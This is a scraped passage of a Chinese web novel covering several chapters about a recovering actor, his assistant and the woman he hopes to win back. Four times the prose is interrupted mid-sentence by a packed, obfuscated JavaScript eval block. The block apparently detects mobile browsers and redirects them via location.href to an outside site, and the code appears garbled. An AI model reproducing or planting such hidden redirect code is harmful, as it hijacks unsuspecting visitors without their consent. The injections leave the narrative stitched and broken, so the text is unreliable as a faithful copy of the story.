;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646406|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了一会儿,程书仪又收到一条阿远的解释:“只是觉得有趣分享一下,没别的意思哈程姐。” 也不必这么小心吧,程书仪心想,自己想通了便是通了,其实倒不会因为这些被撩动心神。 “没事,”她回道,“鸽子我只是不养了,看看还是行的。” 直播结束时,在场几乎所有人都松了一口气。 没办法,大家都是打工人,谁也不想在工作中出现太多不可掌控的东西。 那个不可掌控的人毫无所觉,只抬眼看了看摄像头确保直播已经停止,便艰难起身跟大家礼貌地打招呼,说着感谢老师辛苦了下次见之类的套话。 “祁哥先别走哈,我们还有个小活动。”欣欣仰起脸对祁歌说。 她是那种十分娇俏的女孩子,笑起来灿烂又明亮,想必一向是很受宠的类型。 祁歌微笑着对她摇了摇头:“你们忙,我还有事先走了。” “这就走?”欣欣睁大眼,“祁哥,我保证不耽误你太久!” “是啊祁老师,”旁边有工作人员帮着说道,“今天是欣欣老师生日,我们开播前就说好了一起庆祝一下,等下再一起拍张照,您看行吗?” 阿远悄悄从侧面走上前拽了一下祁歌的袖子。 她在一边旁观看得清楚,有个欣欣那边的工作人员一直举着手机没放下。 这会儿冲着他们这边正录着呢。 祁歌了然抬头,冲镜头那边挥了挥手。 “不好意思啊,”他露出一个人畜无害的笑容,“我下班了。” “他说他下班了,程姐你不知道当时那些人脸上的表情,”阿远抱着电话跟程书仪汇报,“我当时真是没忍住笑出了声。” “是不是很痛快?”程书仪问她。 阿远连连点头:“是啊,还从没看过祁哥这么直接好玩,一副明天就不想干了的样子。” “哦对了,程姐,”阿远忽然想起来,“祁哥说在想办法约你,他是……在重新追你吗?” “啊?”程书仪吓一跳,“没有不是别瞎说。” “哦,看来他又是被拒绝了,”阿远的解读非常准确,“没事儿程姐,我看祁哥最近状态蛮好的,不必担心哈哈。” “我……没担心。”程书仪说。 阿远有些怔愣:“啊?” “……嗯。” 对程书仪来说,这句话也算实事求是。 如今,看着祁歌的一言一行一举一动,她似乎不再如从前那般牵念。 或者说,更多的是“任他去吧”的不愿多想。 这世上值得关注的事情多着呢,也不必执着于这一个。 只不过…… “我觉得有一点你说得对,”程书仪点评道,“他大概真不想干了吧。” “什么?!”阿远陷入呆滞。 “哥,你是不是不想干了?” “说什么呢,”祁歌人已燃尽,懒懒靠在车子的座椅上,眼睛都懒得睁,“玩笑到此为止。” 阿远转过头打量他:“如果我不是开玩笑呢?” 祁歌睁开了眼睛。 在看清他神色的那一瞬间,阿远已经读懂了答案。 “你什么时候……”这下换祁歌打量阿远,“这么聪明了?” 阿远偏过头去不敢跟他对视。 祁歌“哦”了一声,继续把眼睛闭了起来:“是她就不奇怪了。” 他悄悄勾起一点嘴角。 60. 扎心了 “我这里还有一件之前穿走的你的衣服,给你送回去吧。” 有吗?程书仪心想,之前是借过祁歌一件大衣,但后来不是都还了吗? 她较真地去衣柜里看了一眼,还真没找到那件衣服。 看来是不知道什么时候又被偷偷穿走了。 “送你了。” “不好吧,挺贵的,那我给你寄回去?” “可以。” “你说……”祁歌问阿远,“那时候程书仪是怎么约我出来的啊?” 阿远用看傻子的眼神看他:“哥,那会儿我既不认识你,也不认识她好吧。” “好吧……”祁歌长叹一口气,重新拿起手里的台本看,“还是从长计议吧。” 这段时间祁歌时不时地试着跟程书仪接触,目的无非还是想见一面,但都没能成功。 他看得出,程书仪现在对他颇有点油盐不进的意思。 好在他人生中碰过太多铁板,即便碰壁也并不多么失落。 好在,再坚固的万事万物,也总有松动的可能或希望。 没关系,反正他的生命还有些时间,老天给的,不急不急。 祁歌很乐观地想。 “对了,阿远,你怎么转头就把我想退休的事跟高姐说了啊?”祁歌声讨道,“我挨好大一顿骂。” “你都承认了还不让我说?”阿远白眼他,“再说就你昨天直播那表现,高姐是好糊弄的吗?” “我表现怎么了?”祁歌无辜道,“我昨天带病上阵非常敬业的好吧!” 阿远原本想反唇相讥,看了他一眼,又决定还是不说他了。 毕竟他确实大病初愈,最近看上去都病病歪歪可怜得很。 不知怎的,阿远又想起祁歌曾经千叮万嘱的“别说”。 这个人真是……至于什么事情都自己扛着吗? “哥,”她说,“其实有的事情,你不说出来,怎么知道会怎么样?” “此话怎讲?”祁歌慢慢翻了页手里的资料。 阿远跟他条分缕析:“就是觉得你太闷葫芦了,你看程姐不理你,不就是因为你总学不会坦诚吗?” 祁歌没说话,而是忽然皱起眉,将手里的台本放下,另一只手掌覆在了胸口,整个人有点佝偻起来。 “你你咋了!”阿远吓一跳,以为他又添了什么新毛病。 没等她来到祁歌身边,祁歌已经开口道:“扎心了。” “跟我演上了是吧!”阿远想要给他脑袋一个爆栗,却半路收了手,只不轻不重地打了他后背一下。 祁歌笑纳,又低下头继续去专心研读手里的台本,还不时拿起笔勾勾画画几下。 阿远转身去给他倒了杯水:“一个综艺而已,用得着你花这么大工夫学习啊?” 祁歌对工作一向认真,以前拍戏的时候很多大段的台词都会提前背好,且记性很好,背下来便很少出错。 在现场拍戏时,他大部分时候都不会再盯着剧本背词。 综艺的台本一般不会特别具体,会规定大致的流程,设计好可能的笑点,但大部分内容都是即兴的。 这就对参与的嘉宾有了很高的要求。相对来说,性格外放爱耍宝的人更适合上综艺。 不过这种事也看化学反应,有时候性格搭配的嘉宾在一起互动,综艺效果也会很好。 “这些嘉宾我都不认识,”祁歌说,“我打算先熟悉一下流程,再去做功课看看其他嘉宾的资料和采访之类的,有备无患。” 阿远点点头,欲言又止了一下。 “不是刚说了要坦白?”祁歌抬眼看他,“有话直说。” “我说哥啊,”阿远凑到他跟前,将水杯放在他旁边的桌上,“你是不是被迫害惯了开始被害妄想了?这综艺正规节目,应该不会有那些算计你的小人。” 祁歌笑了一声,把台本放下,抬头看着他。 “我是因为……记性变差了,”祁歌对她说,“以前拿到剧本什么的只要念几遍就能背过,两三天都不会忘。但现在看过的东西,有个两分钟就忘光了。” “啊?是……是因为这个病吗?”阿远有点担忧。 “也不知道是因为病,还是因为用的那些药,”祁歌说,“我咨询过医生,暂时也没有什么太好的办法。” “这样啊……”阿远呼了口气,慢慢在他身边坐下。 两人之间的空气安静了一会儿,祁歌忍不住笑了:“行了别发愁了,没多大事,我这不是在努力吗,赶在上工之前下点功夫,多看看就好了……你看,真对你坦白了也是白让你操心。” “怎么能说是白操心,这样的话我也可以安排多给你做一点提词什么的嘛。”阿远说,“有备无患,你也别什么都想着自己扛。” 祁歌望着她,眼睛亮亮地“嗯”了一声。 “谢谢你,阿远。”祁歌说。 阿远抬头看到他的神情,也不知怎的,忽然就觉得有些委屈。 “你答应过的……”她忍不住说。 祁歌一愣:“答应过什么?” “我刚去给你做助理的时候你就答应过的,说什么事都会告诉我。”阿远说,“我还要你向我保证,你保证了。” “我……”祁歌望着她的表情有点无措,显然是已经不记得她说的这件事。 其实当时阿远也知道祁歌没太当回事,但她是知道自己会在意,才会撒泼耍赖地要那么一个轻飘飘的保证。 也正是因为这样,她才会满腔愤懑不甘却无法倾诉。 “好了,”祁歌递了张纸巾给她,认真看她的脸,“我重新向你保证,以后都不会再瞒着你了,好不好?” 阿远点点头,虽然心里并没真的相信,但总算是好受了点。 她把纸巾接过来捏在手里,祁歌便又抽了一张给她擦眼泪。 等等……眼泪? 阿远这才发现自己竟然哭了,赶紧背过身手忙脚乱地擦了起来。 “阿远,这件事我确实不对,该跟你道歉,也该跟程书仪道歉,”祁歌在她背后轻轻地说,“但我也希望……或者我不该希望,但我幻想过你们也能理解我。” “……什么意思?” 祁歌低下头想了想才说道:“人在那种境遇之下,心理是会不同的。” 倘若要他将那些如坠地狱的痛苦描摹出来,他不想,也做不到。人会有自我保护的本能,遇到一些突如其来的重大状况时,心态和选择往往令人费解。这些感受在事后回想时,又会被记忆变作轻描淡写的一抹痕迹。 在医院的病房里,多的是病人每日怨天咒地,对医生和护士恶语相向,时而陷入呆滞无神无采,时而又打砸吵骂拒绝配合。 有护士开玩笑地说,有的病人一辈子为人温和有礼,所有积攒的疯劲儿都趁生病释放了。 “你是最乖的一个。”护士这样评价祁歌。 祁歌苦笑了一声。 其实在这个过程中,他也给了父母不少冷淡与任性,但好在极力忍耐,对外人尚可保持礼貌。 他有种感觉,他这条命是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654122|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被偷回来的。 苟且偷生后,回头想想之前的种种心理和幼稚任性的举动,也会觉得荒唐可笑。 只是,前提是“活得下去”。 如果那条路一直走到黑,可能再不会有“回头想想”的余裕。 “现在回想,”他这样跟阿远说,“我好像是竭尽全力想要维持一种赴死前的从容,想要哪怕悄悄摸摸的尊严,而不是太过浓重的怜悯,想要隔绝一切不舍和悲伤……我当时,承受不了这个。” 怜悯,不舍,悲伤。 当然,这些都是身边人会给他的。 “要不是手术必须有家属,我甚至都不想告诉父母……”祁歌叹了口气,“很可笑吧,到了那个时候,反而想要把最亲近最能依赖的人推远一点。” 阿远半天都没能接上话。 她本就是个共情力很强,也很容易被说服的人,可在今天这番话里,她有点不敢去共情了。 倘若……不是祁歌呢,倘若是自己,或是自己的亲人…… “哎你知不知道有些宠物会预感自己生命即将结束,要找个没人的地方……我当时,”大概是看她一直没说话,祁歌开起了玩笑,“阿远,怎么了,还要哭啊?” “哭什么哭!”阿远这次颇为使劲儿地捶了他一下,“烦人,我想办法帮帮你,好了吧!” “哎呀,你看,我们之间的感情也不是一定要和程书仪有关……”祁歌还不好意思上了。 阿远眯眼看他:“我提程书仪了吗?谁提程书仪了?” 她话音还没落,休息室的门忽然被推开了。 “阿远你没工作要做了?”高姐雷厉风行地走进来,“在这儿聊得挺开心啊。” “好的高姐我去忙了。”阿远立马收拾东西打算离场。 “还有你,”高姐转向祁歌,“台本看完了吗?有什么意见?” “昂,什么来着……”祁歌低头捡起台本哗哗地翻起来。 “生了场病脑子坏了?” “可不嘛,”祁歌立刻示弱,“我真有点头疼。” 阿远的动作顿了顿。 她看到高姐也犹豫了一瞬间,似乎是在判断祁歌说的是真是假。 “拍摄之前,”高姐的语气稍稍软化了点,“还能休息几天,把你自己身体给我调养好。” “我知道了,”祁歌笑了笑,“找到了,大概就是这些。” 他把一张写了几行字的便签纸递过去。 “嗯……”高姐接过来看了看,“字不错。” “内容呢?” “我会考虑一下的。”高姐说,将纸条随手揣进口袋里。 “好吧,那我是不是可以下班?”祁歌充满期待地问。 “走吧走吧,”高姐恨铁不成钢地挥手打发他,“阿远送你哥一下,然后把你报告交了。” 阿远答应着站在门口,看着祁歌慢慢起身,同时伸手去拿桌上的台本。 拿到的那一刻他手上没握住,台本刚离开桌面就自由落体掉了下来。 祁歌立刻弯腰去捡,手却很明显地发着抖,竟然一下没捡起来。 “你……”高姐皱起了眉。 祁歌换了另一只手,终于把台本捡起来了。 “这个我能带走吗?”他问。 注意到高姐和阿远的目光,祁歌平静解释道:“手抖无力是后遗症,有时候会发作一下,会好转的。” 高姐应了一声,示意他可以走了。 在他背后,高姐和阿远交换了一个忧虑的眼神。 61. 再相见 程书仪回到家没多久,就听到了门铃声。 她今天确实叫了个外卖,没想到送得还挺快。 “放门口就行。”她冲门那边喊了一句。 也不知道是不是因为隔着门,对方没听到,门铃又响了一声。 程书仪只好去开门,却发现门外站着的是祁歌。 重新看到这个人,她才发现真的是许久未见了。 祁歌在她近期的印象里,总是疲倦的,虚弱的,狼狈的。今天却不是。 今天的祁歌看上去还不错。 他对她笑着,这笑容是纯粹的,未曾掺杂任何希求或期待。 虽然程书仪并没期待他的来访,但看到这样一张脸,也实在没办法冷下心来关门。 “你怎么来了?”她问。 “客串一下快递员。”祁歌手上拎着个纸袋,里面想必是声称要送还给程书仪的东西。 程书仪看破便要说破:“只是送东西?” 祁歌望着她,眼神称得上诚挚:“来看看你。” 程书仪沉默了两秒,再询问地看他一眼。 意思是看也看到了,还有什么事吗? “还有,”祁歌立马乖乖开口,“想当面跟你至少说几句话。书仪,我是从地狱爬回来的,就算满足我一个愿望……” 如果此刻他撒娇装傻,程书仪会毫不犹豫地关上门。 但程书仪看得出,他是在实话实说。 于是她退了一步,给了祁歌进门的空间。 场面略有点尴尬。 祁歌进来之后没有脱外套或是换鞋,而是就站在门口,仿佛在等待程书仪让他离开的命令。 门铃声再次响起,程书仪如梦初醒,试图越过祁歌去开门。 “放门口就行。”祁歌越俎代庖地回头冲门口喊了一句。 程书仪被他气笑了:“你礼貌吗?” 祁歌望着她叹了口气,语气里倒没听出什么情绪:“其实我也知道有点冒昧,但当时自作主张擅自为我们俩做了决定,总要来当面讲一声抱歉的。” “当面讲一声抱歉?”程书仪又笑了一声,“你要是没活着回来,这声抱歉打算怎么讲?” “如果没活着回来,”祁歌定定地重复了一遍,垂下了眼,“我当时觉得,让你生气也好过伤心。” 程书仪原本还想再骂几句,可是就这么两句话,她已经觉得心里被什么揪住一样难受。 烦死了,这个人,除了让人心情变差还会做什么! “好,我知道了,说完了吗?”她抱着臂问。 祁歌看了她一眼,这次眼神里终于有了点什么。 非要分辨的话,似乎是接受。 他似乎做好准备,要接受程书仪给他的一切回应,即便是无视或伤害。 所以祁歌说:“打扰了。” 他转过身去打开门,半点迟疑都没有地走了出去。 “等等。”程书仪在他身后开口。 祁歌的脚步顿了一顿。 要说心里没有忐忑,是不可能的。 他可以接受这个结果,不代表他没有其他的设想。 或许程书仪到底仍会对他心软,又或许准备再扎他一刀,这都是程书仪的权利。 但他只听到一些窸窸窣窣的声响。 转过身来,他看到程书仪正看着他。 在他的想象里,再见面时,程书仪会平静地注视他,看穿他所有的强撑与希冀,再毫不留情地击碎所有。 但是现在,程书仪显然很生气。 这种怒火正顺着她的眼睛一直烧到自己身上,但她开口说的话却似乎是在挽留:“吃点东西再走吧。” 祁歌不太能理解她的话。 ……吃点东西? “我点了港式茶点,点了不少,一起吃吧。”程书仪于是没什么好气地解释道。 祁歌不明所以,祁歌忐忑不安,祁歌提心吊胆,坐下来戳了个虾饺。 他偷眼看了下程书仪,对方正神色平静专心致志地吃饭,看上去并不想说什么。 这是,什么意思啊…… “祁歌。”程书仪吃得差不多了才发话。 “哎。”祁歌应道。 他没吃多少,早就开始磨磨唧唧耗时间。 果然人还是吃饱了容易冷静,程书仪心里已经没了刚才的波动,可以理智地跟他聊天了。 “你来找我,是想要什么?”程书仪问。 大概是感受到了她试图营造的氛围,祁歌放下手里无目的乱扒拉的筷子,正襟危坐起来。 “我想保留一样东西,”他说,“书仪,你跟我说过,你想试试……我想保留这句话的可能。” 他这句话真的挺绕的,绕一大圈,无非还是想追自己的意思。程书仪在内心翻了个白眼。 “程书仪,”祁歌严肃认真地说了下去,“但是如果这会让你不快,我也允许你收回这句话。” 程书仪心头再次火起:“我用得着你允许?” 不是这人到底怎么回事,怎么不管什么事到了他嘴里,就鼻子眼睛全不对? 是来找虐的吗? 祁歌望着她呆了呆。 “怎么,”程书仪火气还在,直接站了起来,“每一次都是你说走就走想来就来吗?什么事都是你说了算是吧?你是谈恋爱还是当皇上来了?” 祁歌被她骂懵了,眨了眨眼什么都说不出。 “别说我们根本没什么,就算是有,也早就到此为止了,你现在说这些有什么用?”程书仪继续质问道,“如果你就是想随意来一次次招惹我,然后再因为什么你自己觉得解决不了的事情想走就走,何必跟我处心积虑来这一套?有意义吗?” 祁歌又在原地呆了几秒,这才站起了身。 这个动作颇花了他几秒钟,但祁歌似乎习以为常,撑着桌子站起来定了定神,一句话也没说转身往外面走。 “站住,”程书仪冷冷说,“我让你走了吗?” 于是祁歌又转了回来。 他叹了口气,对程书仪抬起眼睫:“好,你继续说。” 程书仪盯着他漂亮的上目线,深吸了口气:“现在该你说了。” 阿远加完班时天色已经黑了,她看了看自己的工作任务表,确保每件事都弄好了,这才收拾东西下班。 手机里有条来自祁歌的消息,说是要去碰碰运气,“祝我好运”。 啥意思啊?阿远给他回了个问号,却并没收到回复。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664058|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以……这人是去找程书仪了? 现在会是在程书仪那里乐不思蜀,还是躲哪儿哭去了…… 阿远觉得后者的可能性更大。 于是本着人道主义关怀,她在路边等车的时候给祁歌打了电话过去。 说真的,祁歌说的那些,她能理解,程书仪可不一定。 但电话直接被按掉了。 哇,祁歌不会是准备了一篇超长演讲稿,此刻正在试图打动对方吧…… 阿远脑补了一下,感觉在这种场景之中,程书仪可能会对这篇稿件百般挑剔,最后将他扫地出门。 好想亲自去看看…… 于是她又给程书仪发了条消息:“我原谅他了。” “?”程书仪回了个问号。 答应要帮忙的阿远为自己的捣乱偷笑了一阵。 她最近还挺忙的,祁歌的热度在稳步地提升,公司也重视起来,甚至指定了专门的宣传对接,打算把他当做公司的下一个流量来培养。 与此同时,高姐那边也帮他联系了一些项目,看看能不能拿到更好的、体力上也更能胜任的角色。 另外,一直在计划内的祁歌个人工作室终于要启动了。 虽然刚开始不会有太多人,但能成立工作室,也就意味着祁歌会有更多的主动权,跟粉丝的对接也会更顺畅。 对此祁歌的评价是:“能不能把后援会解散了?” “哥,”阿远对他坏掉的脑子十分宽容,“等你翅膀硬了再说这话。” “好嘞。”祁歌乖乖闭嘴。 他这番归来,表面变得乖巧,实则更任性。阿远和高姐讨论一番,认定或许也是好事。 祁歌从前就是太闷葫芦了,现在这样偶尔乱来一下,也蛮好的。 “太省心的人最可怕,因为你不知道他什么时候会突然捅出个大的窟窿来。”高姐说。 阿远深以为然。 就比如在这种情况下还死皮赖脸去找程书仪,这是以前的祁歌干不出来的事儿。 以前的祁歌会做半辈子心理建设,然后暗搓搓进行八百个毫无意义的假动作,被程书仪看到时已经过去三年。 “可能人陷于生死之中时,最能读懂自己的执念。”祁歌说,“最绝望的那天晚上我遇到过一个医生,她很像你,我总觉得她是被派来拯救我的。” 这和我有什么关系?程书仪不免有些无语。 祁歌望着她:“书仪,如果你……只是做个假设,如果你即将离开这个世界,你会希望我记住你,还是忘了你?” 程书仪摇摇头:“我不想做这样的假设。” 对她来说,眼前的一切才是最重要的。她喜欢在不确定的可能里寻找属于自己的确定和把握,掌控自己的每一个抉择及其后果。 没什么几率发生的事,假设它又有什么意义。 看祁歌表情有些黯然,她便出言敷衍道:“可能不重要吧。” 听了这个答案,祁歌却笑了起来:“是吧,其实都不重要了,人到了那时候,就算是再无私再深情的人,想得最多的还是自己。” 他这句话倒令程书仪有些意外了。 “是我太自私了,”祁歌说,“但我那时候,也多少有那么点权利自私吧?” 62. 知道了 程书仪半天都没说话。 其实她将祁歌留下来,最想弄清的就是,这个人到底要从自己这里获得什么。 如果是原谅的话……她本来也没怪他。 这一年本就是祁歌主动来招惹她,又自顾自地宣布离开。这些她都接受了。 有什么难以理解的呢?从阿远告诉她这个消息的那一刻,她就懂了。 这些也曾牵动她的情绪,或者说直到今天也会影响她的心情,但那又怎么样呢? “我可以理解你当时离谱又完全不尊重人的那些想法和选择,”她十分客观地说,“但我觉得你会重蹈覆辙。” 祁歌坐在原处乖乖地望着她,眼睫湿漉漉的,倒像是接受教育的小狗。 “祁歌,人的生命中要经历很多事,”程书仪耐心地对他解释,“你会做出同样的选择,而我,不愿意再承受这些。” 祁歌张了张嘴:“我……” 他大概想说知道自己错了,但不管他是否认为这是个错误,做过的选择已经留在时间之中,无法再一次追索。 “我不信任你了,祁歌。”程书仪最后说道。 “好,我知道了。”祁歌说着,再次站起身。 程书仪注意到他这次起身比刚才那次还要困难些,但他还是顺手把桌上吃过饭的垃圾收拾了,装进外卖袋里。 他就这样拎着外卖袋往外走了几步,又站在门廊回过身来庄重发言:“我接受你的不信任,但我想赢回它,哪怕用一生的时间。” 程书仪对他过于夸张的告别语满脑子不解,忍不住发问:“用一生的时间证明这个?有什么意义?” “对我有意义就好了啊,”祁歌笑了起来,随即又揪起眉头吸了口气:“哎,不说了,再说下去我爬不回家了。” “……你怎么了?”程书仪大发慈悲地问。 “疼啊,”祁歌苦着脸说,“那止痛药就管一会儿。” 程书仪点点头,又问:“带药了吗?” 祁歌已经伸手去摸门把了,闻言回过头来。 “一杯水还是可以施舍的。”程书仪走到饮水机前,接了杯水给他。 她的手很稳,水的温度也正好,透明的杯子毫无涟漪。 祁歌垂着眼看着那杯水,轻轻笑了。 “谢谢。”他说。 如果这样的笑容出现在几年前,程书仪是看不懂的。 可是现在她懂了,或许有点太懂了。 祁歌是在将某些细碎无谓的东西认作是幸福,并试图珍存这一刻。 之前他总喜欢拍下很多生活中的照片,也是一样的动机。 在人生的大部分时候,他似乎对未来的长远目标并没有太多期盼,更愿意预设所有好的东西都会逝去,从而放任自己沉溺在现有的某一个瞬间。 这不是什么错,只是他的习惯而已。 他们演员嘛,艺术家,行为逻辑总会有点怪的。 祁歌离开时也是安安静静的,虽然抱怨了一句疼,但也没藉此赖在程书仪这里休息,还任劳任怨地把垃圾捎下去了。 他如果跟合适的人在一起,或许也能给人幸福的。 程书仪决定暂时把这事儿扔到一边不再去想他。 他总要离开,那就让他离开好了。 就他走了又能怎么样?最多会有那么一阵空虚,或是挫败感,但这些感受都会过去。 当然,对她来说,搞清了祁歌的理由,确实是将当初的挫败感完完全全消弭了。 她更多地感觉到的是释然。 她是真的不需要更多解释或是歉意了。 所以……为什么会生气呢? 想来想去,大概这是当初祁歌在她这儿欠下的,终究要他自己来领吧。 电影看片会被安排在工作时间。 由于粗剪之后的片子比较长,导演安排了一整个上午用来观看,下午则会进行研讨。 作为会场里最可有可无的人,祁歌本着差生的自我认知,来得非常早,打算占个后面的位置认真旁听。 没想到一来才发现,这会场居然是做了桌牌的。 每个人都有的那种。 祁歌的位置在导演和主创那排,虽然没标职务,但想必是把他作为演员代表来尊重的。 这让他十分惶恐疑惑受宠若惊。 幸好此刻离开场还早,祁歌去找工作人员,问座次安排谁负责,还会不会再调整。 “祁老师,”会务负责人很热情地引导他入座,“这边座位是导演定的,您可以先入座,也可以在会客厅休息一下,我给您倒水。” 祁歌只好硬着头皮坐下,并迎接陆陆续续到达的参会者的目光审视。 作为这次会议的轴心人物,导演和制片方是最后入场的。 介绍到祁歌时,导演说他是名优秀的演员,请他过来是期待他能贡献自己的视角云云。 太给面子了。祁歌更加诚惶诚恐。 这部电影由于是年代戏,几乎从一开篇就看得到结局。 但它营造的氛围太美了,又太浪漫了,使得生命的消逝都变得充满诗意的遗憾。 尽管这还不是成片,但祁歌望着那些熟悉的镜头,有好几次都差点难以抑制眼眶里的眼泪。 他本人的故事在影片中并不算太重要,也没占多大的篇幅,早早便下了线,后期也只有几个闪回的片段。 但片子看完,有几个制片过来加了祁歌的联系方式,说下次如果有需求会推送,欢迎他来试镜。 祁歌一一道谢答应了。 他有意拖延了一小会儿,终于等到导演身边稍稍空闲。 “小祁?”导演跟他打招呼,“还不去吃饭?对片子有什么意见,等下午给你发言机会吧。” 祁歌看得出他在开玩笑,便也笑了:“我就不发言了吧,别人不知道您还不知道吗,我就是来学习的。” “你已经演得很好,年轻人前途光明的。”导演大概也听说了他的病,这样鼓励他道。 “谢谢您,”祁歌赶紧连连致谢,这才说到正题,“导演,后面那几个闪回镜头,需要我补拍一下吗?” “哦?”导演对他的提问很是意外。 “虽然加起来也就一两秒,但我看到镜头是从前面直接剪进去的,”祁歌说,“如果后期拍摄因为我的个人原因没能完成,现在补拍一下会不会效果好点?——当然了,我是不太懂才来问问您,咱们片子有任何需要我都可以配合的。” 导演上下打量了他一眼:“你老板跟我说你很上进,我还当是套话。” 祁歌没拿准他这是什么意思,只得当做是夸赞:“我公司老板吗,他谬赞了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670561|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是谬赞,”导演笑了笑,“说的也不是你们公司老板,是当初投资你进组那位投资人,她亲自跟我这么说,让我试试你。” 祁歌这下一句话也说不出。 “拍戏的时候急急忙忙也没太多时间聊,”导演说着拿起包往外走,“一起吃个饭去吧?” 为了保证最终效果,很多电影在粗剪完都是要进行补拍的。导演会根据剪辑后的节奏,统一补入合适的台词或是衔接的镜头。 “其实你说的那个不补也行,但是前面有一处我觉得可能要调整,还没想好……”导演很是推心置腹地跟祁歌聊着,“我想那段书生戏可以改得欢快一点,加点搞笑,总之把节奏变一变。” 祁歌稍稍回忆了一下。 那段他们拍的时候给的氛围感比较偏向宁静美好,可能呈现出来是会稍显沉闷。 “但是……”他提出自己的疑问,“那个布景现在已经没了吧?” “没了可以再修复嘛,”导演说,“或者找个类似的,总有办法的。” 是啊…… 祁歌非常认同地点点头:“总有办法的。” “要对得起大家的劳动和观众的期待,各个环节都不能出错的,”导演这样说道,“我知道你想学什么,这个是你公司的老板跟我说的,你想做我的工作,对不对?” “我……” 导演没给他否认的时间:“我建议你去读几本书,然后找个学校听听课。其实你做编导都好的,好的演员往往对镜头语言很有心得,心思也细腻。以后不管还演不演,那些学到的东西都不浪费,对不对?” “嗯,我知道了,”祁歌郑重说,“谢谢您。” 他感觉刚才看片时那些没流出来的眼泪,此刻又在暗暗地积蓄着。 下午的研讨会上,祁歌受到鼓励,磕磕绊绊地即兴发了个言,谈了谈自己角度对粗剪片段的一些看法。 导演认真听完,认可了其中一部分,也解释了另外的部分为什么如此安排。 祁歌都一一记在自己的笔记本上了。 隔天程书仪家的保姆阿姨帮忙整理东西时,收拾到祁歌带来的那个装衣服的纸袋,程书仪才知道里面不止有件衣服。 衣服是洗熨包好的,旁边还放着一个看上去十分简陋的本子,封面画着红旗图案,里面有些页数是订进去的,有些参差不齐。 说真的,这个年代还能看到这样的本子,实在不知道是不是碰到了古董。 她想着跟祁歌说一声让他取走,拿起来随意翻了翻,才发现这是祁歌用来记日记的。 印象里他的字一直都很漂亮,是清秀款的小楷,程书仪曾评价像是女生写的。 但这本日记里最前面几页的纸是钉上去的,上面的字写得歪七扭八大大小小,仿佛小学生手笔。 原来,是祁歌术后的日记。 程书仪啪的一声合上了这个本子。 ——两秒钟后又忍不住打开翻了翻后面。 本子并没用完,只写了大概小半本,日记的时间停留在前几天。 到了后面的页数,那种难看的字迹渐渐地消失了,字体变得整齐有力了许多。 ……算了,程书仪将本子放在门厅的抽屉里,想着等祁歌自己来取吧。 如果不来取,大概就是不要了的意思。 63. 去工作 在一部戏剧作品中,作为重头戏的部分总是那些巨变发生的时刻。 在那些时刻,角色会因这些际遇,陷入某种极端的情绪,做出一些让人意料之外又情理之中的行为,进而令人同情或叹惋,令人生爱又生恨。 而当这些事情尘埃落定后,结局落幕的漫长时光都会变成浓缩的一两句话。 仿佛那之后的时间,不过是一个无足轻重的尾声。 之后的日复一日年复一年,在观者眼中,不过是乏善可陈的平淡重复而已。 可能在生活中也是如此吧。 或许很多年后,祁歌会平淡地跟人讲述自己病愈康复的过程。 可是,时间回到当下当刻,回到他正在经历的痛苦又绝望的每分每秒,这些感受竟然沉重到压得他喘不过气来。 “小祁还是自己做康复啊?”医生看到他来了,笑着打招呼。 祁歌笑不出来。 他今天早上甚至花了好几个小时,什么都不做,只躺在床上做心理建设。 “怎么了,怕疼成这样?”医生打趣他说。 祁歌垂头丧气地坐上了器械,点点头又摇摇头:“也不全是怕疼。” 从手术后到现在,对祁歌来说,这些康复训练没有一刻是轻松的。 疼痛或是辛苦还可以勉强忍耐,心里时刻腾起的情绪才是压垮他的稻草。 而这稻草直到今天还在一根一根地追加。 使用设备时要随时关注自己的神经肌肉,以免偷懒没效果或者受伤;走路时用力的方式总是不对,这样下去会造成关节畸形;握东西要自己去找那个力,用力错误损伤肌肉会更加恶化;说话要格外注意自己的口型和舌位,否则会造成发音的坏习惯…… 日复一日,他觉得自己进步没多少,挫败感却越来越多。 